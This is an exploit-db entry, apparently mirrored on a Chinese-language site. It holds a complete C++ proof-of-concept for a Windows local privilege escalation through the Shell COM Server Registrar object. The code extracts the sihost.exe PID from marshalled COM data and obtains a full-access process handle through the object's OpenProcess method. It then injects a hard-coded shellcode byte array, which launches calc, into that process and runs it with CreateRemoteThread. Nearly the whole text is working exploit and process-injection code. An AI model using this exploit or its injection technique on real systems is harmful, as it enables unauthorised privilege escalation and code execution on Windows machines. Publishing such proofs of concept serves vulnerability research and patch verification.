Microsoft Windows – Shell COM Server Registrar Local Privilege Escalation

  • 作者: 0vercl0k
    日期: 2020-01-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47880/
  • // Axel '0vercl0k' Souchet - December 28 2019
    // References:
    //- Found by an anonymous researcher, written up by Simon '@HexKitchen' Zuckerbraun
    //- https://www.zerodayinitiative.com/blog/2019/12/19/privilege-escalation-via-the-core-shell-com-registrar-object
    //- https://github.com/microsoft/Windows-classic-samples/blob/master/Samples/Win7Samples/com/fundamentals/dcom/simple/sserver/sserver.cpp
    //- https://github.com/microsoft/Windows-classic-samples/blob/master/Samples/Win7Samples/com/fundamentals/dcom/simple/sclient/sclient.cpp
    
    #include <windows.h>
    #include <cstdint>
    #include <atlbase.h>
    
    // 54E14197-88B0-442F-B9A3-86837061E2FB
    // .rdata:0000000000014108 CLSID_CoreShellComServerRegistrar dd 54E14197h; Data1
    // .rdata:0000000000014108 dw 88B0h; Data2
    // .rdata:0000000000014108 dw 442Fh; Data3
    // .rdata:0000000000014108 db 0B9h, 0A3h, 86h, 83h, 70h, 61h, 0E2h, 0FBh ; Data4
    const GUID CLSID_CoreShellComServerRegistrar = {
    0x54e14197, 0x88b0, 0x442f, {
    0xb9, 0xa3, 0x86, 0x83, 0x70, 0x61, 0xe2, 0xfb
    }};
    
    // 27EB33A5-77F9-4AFE-AE056-FDBBE720EE7
    // .rdata:00000000000140B8 GuidICOMServerRegistrar dd 27EB33A5h; Data1
    // .rdata:00000000000140B8 dw 77F9h; Data2
    // .rdata:00000000000140B8 dw 4AFEh; Data3
    // .rdata:00000000000140B8 db 0AEh, 5, 6Fh, 0DBh, 0BEh, 72h, 0Eh, 0E7h ; Data4
    MIDL_INTERFACE("27EB33A5-77F9-4AFE-AE05-6FDBBE720EE7")
    ICoreShellComServerRegistrar : public IUnknown {
    // 0:015> dqs 00007ff8`3fe526e8
    // [...]
    // 00007ff8`3fe5273000007ff8`3fe4a5e0 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::QueryInterface
    // 00007ff8`3fe5273800007ff8`3fe4a6d0 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::AddRef
    // 00007ff8`3fe5274000007ff8`3fe4a680 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::Release
    // 00007ff8`3fe5274800007ff8`3fe47260 CoreShellExtFramework!CoreShellComServerRegistrar::RegisterCOMServer
    // 00007ff8`3fe5275000007ff8`3fe476b0 CoreShellExtFramework!CoreShellComServerRegistrar::UnregisterCOMServer
    // 00007ff8`3fe5275800007ff8`3fe477f0 CoreShellExtFramework!CoreShellComServerRegistrar::DuplicateHandle
    // 00007ff8`3fe5276000007ff8`3fe47920 CoreShellExtFramework!CoreShellComServerRegistrar::OpenProcess
    virtual HRESULT STDMETHODCALLTYPE RegisterCOMServer() = 0;
    virtual HRESULT STDMETHODCALLTYPE UnregisterCOMServer() = 0;
    virtual HRESULT STDMETHODCALLTYPE DuplicateHandle() = 0;
    virtual HRESULT STDMETHODCALLTYPE OpenProcess(
    const uint32_t DesiredAccess,
    const bool InheritHandle,
    const uint32_t ArbitraryPid,
    const uint32_t TargetProcessId,
    HANDLE *ProcessHandle
    ) = 0;
    };
    
    struct Marshalled_t {
    uint32_t Meow;
    uint32_t ObjRefType;
    GUID IfaceId;
    uint32_t Flags;
    uint32_t References;
    uint64_t Oxid;
    uint64_t Oid;
    union {
    uint64_t IfacePointerIdLow;
    struct {
    uint64_t _Dummy1 : 32;
    uint64_t ServerPid : 16;
    };
    };
    
    uint64_t IfacePointerIdHigh;
    };
    
    int main() {
    
    //
    // Initialize COM.
    //
    
    HRESULT Hr = CoInitialize(nullptr);
    if(FAILED(Hr)) {
    printf("Failed to initialize COM.\nThis might be the best thing that happened in your life, carry on and never look back.");
    return EXIT_FAILURE;
    }
    
    //
    // Instantiate an out-of-proc instance of `ICoreShellComServerRegistrar`.
    //
    
    CComPtr<ICoreShellComServerRegistrar> ComServerRegistrar;
    Hr = ComServerRegistrar.CoCreateInstance(
    CLSID_CoreShellComServerRegistrar,
    nullptr,
    CLSCTX_LOCAL_SERVER
    );
    
    if(FAILED(Hr)) {
    printf("You are probably not vulnerable (%08x) bailing out.", Hr);
    return EXIT_FAILURE;
    }
    
    //
    // We don't use the copy ctor here to avoid leaking the object as the returned
    // stream already has its refcount bumped by `SHCreateMemStream`.
    //
    
    CComPtr<IStream> Stream;
    Stream.Attach(SHCreateMemStream(nullptr, 0));
    
    //
    // Get the marshalled data for the `ICoreShellComServerRegistrar` interface, so
    // that we can extract the PID of the COM server (sihost.exe) in this case.
    // https://twitter.com/tiraniddo/status/1208073552282488833
    //
    
    Hr = CoMarshalInterface(
    Stream,
    __uuidof(ICoreShellComServerRegistrar),
    ComServerRegistrar,
    MSHCTX_LOCAL,
    nullptr,
    MSHLFLAGS_NORMAL
    );
    
    if(FAILED(Hr)) {
    printf("Failed to marshal the interface (%08x) bailing out.", Hr);
    return EXIT_FAILURE;
    }
    
    //
    // Read the PID out of the blob now.
    //
    
    const LARGE_INTEGER Origin {};
    Hr = Stream->Seek(Origin, STREAM_SEEK_SET, nullptr);
    
    uint8_t Buffer[0x1000] {};
    Hr = Stream->Read(Buffer, sizeof(Buffer), nullptr);
    
    union {
    Marshalled_t *Blob;
    void *Raw;
    } Ptr;
    
    Ptr.Raw = Buffer;
    const uint32_t SihostPid = Ptr.Blob->ServerPid;
    
    //
    // Ready to get a `PROCESS_ALL_ACCESS` handle to the server now!
    //
    
    HANDLE ProcessHandle;
    Hr = ComServerRegistrar->OpenProcess(
    PROCESS_ALL_ACCESS,
    false,
    SihostPid,
    GetCurrentProcessId(),
    &ProcessHandle
    );
    
    if(FAILED(Hr)) {
    printf("Failed to OpenProcess (%08x) bailing out.", Hr);
    return EXIT_FAILURE;
    }
    
    //
    // Allocate executable memory in the target.
    //
    
    const auto ShellcodeAddress = LPTHREAD_START_ROUTINE(VirtualAllocEx(
    ProcessHandle,
    nullptr,
    0x1000,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
    ));
    
    if(ShellcodeAddress == nullptr) {
    printf("Failed to VirtualAllocEx memory in the target process (%d) bailing out.", GetLastError());
    return EXIT_FAILURE;
    }
    
    //
    // This is a CreateProcess(calc) shellcode generated with scc, see payload.cc.
    //
    
    const uint8_t Shellcode[] {
    0x48, 0x83, 0xc4, 0x08, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x08, 0x55, 0x48, 0x8b, 0xec,
    0x48, 0x8d, 0x64, 0x24, 0xf0, 0x48, 0x8d, 0x05, 0x42, 0x02, 0x00, 0x00, 0x48, 0x89, 0x45, 0xf0,
    0x6a, 0x00, 0x8f, 0x45, 0xf8, 0x48, 0x8d, 0x05, 0x3a, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x08, 0x48,
    0x8d, 0x55, 0xf0, 0xe8, 0x63, 0x01, 0x00, 0x00, 0xe8, 0xbf, 0x01, 0x00, 0x00, 0xc9, 0xc3, 0x53,
    0x56, 0x57, 0x41, 0x54, 0x55, 0x48, 0x8b, 0xec, 0x6a, 0x60, 0x58, 0x65, 0x48, 0x8b, 0x00, 0x48,
    0x8b, 0x40, 0x18, 0x48, 0x8b, 0x70, 0x10, 0x48, 0x8b, 0x46, 0x30, 0x48, 0x83, 0xf8, 0x00, 0x74,
    0x13, 0xeb, 0x08, 0x4c, 0x8b, 0x06, 0x49, 0x8b, 0xf0, 0xeb, 0xec, 0x45, 0x33, 0xdb, 0x66, 0x45,
    0x33, 0xd2, 0xeb, 0x09, 0x33, 0xc0, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x66, 0x8b, 0x46,
    0x58, 0x66, 0x44, 0x3b, 0xd0, 0x72, 0x11, 0xeb, 0x3c, 0x66, 0x45, 0x8b, 0xc2, 0x66, 0x41, 0x83,
    0xc0, 0x02, 0x66, 0x45, 0x8b, 0xd0, 0xeb, 0xe5, 0x45, 0x8b, 0xcb, 0x41, 0xc1, 0xe9, 0x0d, 0x41,
    0x8b, 0xc3, 0xc1, 0xe0, 0x13, 0x44, 0x0b, 0xc8, 0x41, 0x8b, 0xc1, 0x4c, 0x8b, 0x46, 0x60, 0x45,
    0x0f, 0xb7, 0xca, 0x4d, 0x03, 0xc1, 0x45, 0x8a, 0x00, 0x45, 0x0f, 0xbe, 0xc0, 0x41, 0x83, 0xf8,
    0x61, 0x72, 0x15, 0xeb, 0x07, 0x41, 0x3b, 0xcb, 0x74, 0x16, 0xeb, 0x97, 0x41, 0x83, 0xe8, 0x20,
    0x41, 0x03, 0xc0, 0x44, 0x8b, 0xd8, 0xeb, 0xb1, 0x41, 0x03, 0xc0, 0x44, 0x8b, 0xd8, 0xeb, 0xa9,
    0x4c, 0x8b, 0x56, 0x30, 0x41, 0x8b, 0x42, 0x3c, 0x4d, 0x8b, 0xe2, 0x4c, 0x03, 0xe0, 0x41, 0x8b,
    0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0xca, 0x4c, 0x03, 0xc8, 0x45, 0x33, 0xdb, 0x41,
    0x8b, 0x41, 0x18, 0x44, 0x3b, 0xd8, 0x72, 0x0b, 0xe9, 0x56, 0xff, 0xff, 0xff, 0x41, 0x83, 0xc3,
    0x01, 0xeb, 0xec, 0x41, 0x8b, 0x41, 0x20, 0x49, 0x8b, 0xda, 0x48, 0x03, 0xd8, 0x45, 0x8b, 0xc3,
    0x48, 0x8b, 0xc3, 0x4a, 0x8d, 0x04, 0x80, 0x8b, 0x00, 0x49, 0x8b, 0xfa, 0x48, 0x03, 0xf8, 0x33,
    0xc0, 0x48, 0x8b, 0xdf, 0x48, 0x83, 0xc7, 0x01, 0x44, 0x8a, 0x03, 0x41, 0x0f, 0xbe, 0xd8, 0x83,
    0xfb, 0x00, 0x74, 0x02, 0xeb, 0x06, 0x3b, 0xd0, 0x74, 0x17, 0xeb, 0xc1, 0x44, 0x8b, 0xc0, 0x41,
    0xc1, 0xe8, 0x0d, 0xc1, 0xe0, 0x13, 0x44, 0x0b, 0xc0, 0x44, 0x03, 0xc3, 0x41, 0x8b, 0xc0, 0xeb,
    0xd0, 0x41, 0x8b, 0x41, 0x1c, 0x49, 0x8b, 0xd2, 0x48, 0x03, 0xd0, 0x41, 0x8b, 0x41, 0x24, 0x4d,
    0x8b, 0xca, 0x4c, 0x03, 0xc8, 0x45, 0x8b, 0xc3, 0x49, 0x8b, 0xc1, 0x4a, 0x8d, 0x04, 0x40, 0x66,
    0x8b, 0x00, 0x0f, 0xb7, 0xc8, 0x48, 0x8b, 0xc2, 0x48, 0x8d, 0x04, 0x88, 0x8b, 0x00, 0x4c, 0x03,
    0xd0, 0x49, 0x8b, 0xc2, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x53, 0x56, 0x57, 0x41, 0x54,
    0x55, 0x48, 0x8b, 0xec, 0x48, 0x8b, 0xf1, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0x03, 0x48, 0x83, 0xf8,
    0x00, 0x74, 0x0e, 0x48, 0x8b, 0xc6, 0x48, 0x83, 0xc6, 0x04, 0x44, 0x8b, 0x20, 0x33, 0xff, 0xeb,
    0x07, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x8b, 0x06, 0x41, 0x8b, 0xcc, 0x8b, 0xd0, 0xe8,
    0x6b, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xd0, 0x48, 0x83, 0xfa, 0x00, 0x74, 0x02, 0xeb, 0x06, 0x48,
    0x83, 0xc3, 0x08, 0xeb, 0xc5, 0x48, 0x8b, 0x03, 0x48, 0x8b, 0xcf, 0x48, 0x83, 0xc7, 0x01, 0x48,
    0x8d, 0x04, 0xc8, 0x48, 0x89, 0x10, 0x48, 0x83, 0xc6, 0x04, 0xeb, 0xcc, 0x57, 0x55, 0x48, 0x8b,
    0xec, 0x48, 0x8d, 0xa4, 0x24, 0x78, 0xff, 0xff, 0xff, 0x48, 0x8d, 0xbd, 0x78, 0xff, 0xff, 0xff,
    0x32, 0xc0, 0x6a, 0x68, 0x59, 0xf3, 0xaa, 0xc7, 0x85, 0x78, 0xff, 0xff, 0xff, 0x68, 0x00, 0x00,
    0x00, 0x48, 0x8d, 0x05, 0x4a, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x10, 0x4c, 0x8d, 0x95, 0x78, 0xff,
    0xff, 0xff, 0x48, 0x8d, 0x45, 0xe0, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x45, 0x33, 0xc9, 0x50, 0x41,
    0x52, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x48, 0x8d, 0x64, 0x24, 0xe0, 0x48, 0x8d,
    0x05, 0x09, 0x00, 0x00, 0x00, 0xff, 0x10, 0x48, 0x83, 0xc4, 0x50, 0xc9, 0x5f, 0xc3, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xca, 0x2b, 0x6e, 0x72, 0xfe, 0xb3, 0x16, 0x00, 0x00,
    0x00, 0x00, 0x63, 0x61, 0x6c, 0x63, 0x00
    };
    
    if(!WriteProcessMemory(
    ProcessHandle,
    ShellcodeAddress,
    Shellcode,
    sizeof(Shellcode),
    nullptr
    )) {
    printf("Failed to WriteProcessMemory in the target process (%d) bailing out.", GetLastError());
    
    //
    // At least clean up the remote process D:
    //
    
    VirtualFreeEx(ProcessHandle, ShellcodeAddress, 0, MEM_RELEASE);
    return EXIT_FAILURE;
    }
    
    //
    // Creating a remote thread on the shellcode now.
    //
    
    DWORD ThreadId;
    HANDLE ThreadHandle = CreateRemoteThread(
    ProcessHandle,
    nullptr,
    0,
    ShellcodeAddress,
    nullptr,
    0,
    &ThreadId
    );
    
    //
    // Waiting for the thread to end..
    //
    
    WaitForSingleObject(ThreadHandle, INFINITE);
    
    //
    // All right, we are done here, let's clean up and exit.
    //
    
    VirtualFreeEx(ProcessHandle, ShellcodeAddress, 0, MEM_RELEASE);
    printf("Payload has been successfully injected in %d.", SihostPid);
    return EXIT_SUCCESS;
    }